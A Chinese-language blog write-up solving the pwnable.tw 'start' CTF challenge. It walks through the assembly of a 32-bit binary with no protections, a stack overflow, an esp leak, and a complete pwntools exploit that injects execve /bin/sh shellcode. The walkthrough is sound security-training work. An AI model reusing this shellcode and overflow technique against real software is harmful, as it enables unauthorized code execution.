pwnable.tw 第一題之start

今天學長佈置了作業,,,做這道題,,,

言承這次遇到的第一個情況,,,就是頁面打開了,題目出不來。流淚。

大家可以直接用下面圖片的ip,端口,如果有需要,想自己pwnable.tw,可以私信我。

 

然後我們來看題

32位的程序,程序什麼也沒開,,,感覺挺友善的哈

執行效果,,挺好就一個輸入點,基本猜測就是棧溢出,,,

 

用ida打開有點傻眼,沒有main函數,只有start和exit,啓動和退出?什麼操作,內心有點忐忑

只有start可以看反彙編,,,然而,看的還是有點懵,,,

只看出它調用了一個write函數,別的啥也不知道了,,,

 

接受事實,這道硬核的,有點不同於之前的題目,真的要上彙編了

因爲彙編看着,大致的意思能理解,但是還是有點懵,所以我花了下堆棧示意圖

剛開始的初始化

調用write函數和read函數,棧中的情況

第一個函數是wirte函數,我們可以通過註釋可以得知,第二個爲什麼是read函數呢?是通過ax裏面的系統號

查看系統號地址:http://syscalls.kernelgrok.com/

程序先將系統號放入ax,然後int 80中斷調用函數

我們可以看到我們可以輸入0x3c,但是返回地址距離輸入只有0x14,所以,很顯然這裏可以造成溢出

通過堆棧圖也可以看出來,覆蓋率爲20(=0x14)個字節

既然我們可以控制返回地址,那麼我們就要想怎麼拿到shell了,因爲nx沒有開啓,我們又能在堆棧中輸入數據,所以,想到可以傳入shellcode到棧上,然後再將返回地址覆蓋到shellcode地址。

爲了覆蓋shellcode的地址,我們需要找到一個地址,就是esp,我們可以覆蓋返回地址爲08048087,那麼程序會調回去,繼續輸出,而此時esp走到了esp的位置,會將esp的地址輸出

 

步驟

(1)先覆蓋造成棧溢出,將返回地址覆蓋0x08048087,泄漏esp的地址

(2)輸入的時候,佈置棧,覆蓋返回地址爲shellcode的地址

 

addr+20就是esp下面五格,esp+14h的時候也會來到addr的地址,然後retn,就是pop ip,就執行到shellcode了

所以,exp如下:

from pwn import  *
p = remote('chall.pwnable.tw',10000)

p.recvuntil(':')
payload = 'a'*20 + p32(0x08048087)
p.send(payload)

addr = u32(p.recv(4))+20
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(addr) + shellcode
p.send(payload)

p.interactive()

#shellcode = 'x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80'
#安全客那篇這麼寫不行,,,

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章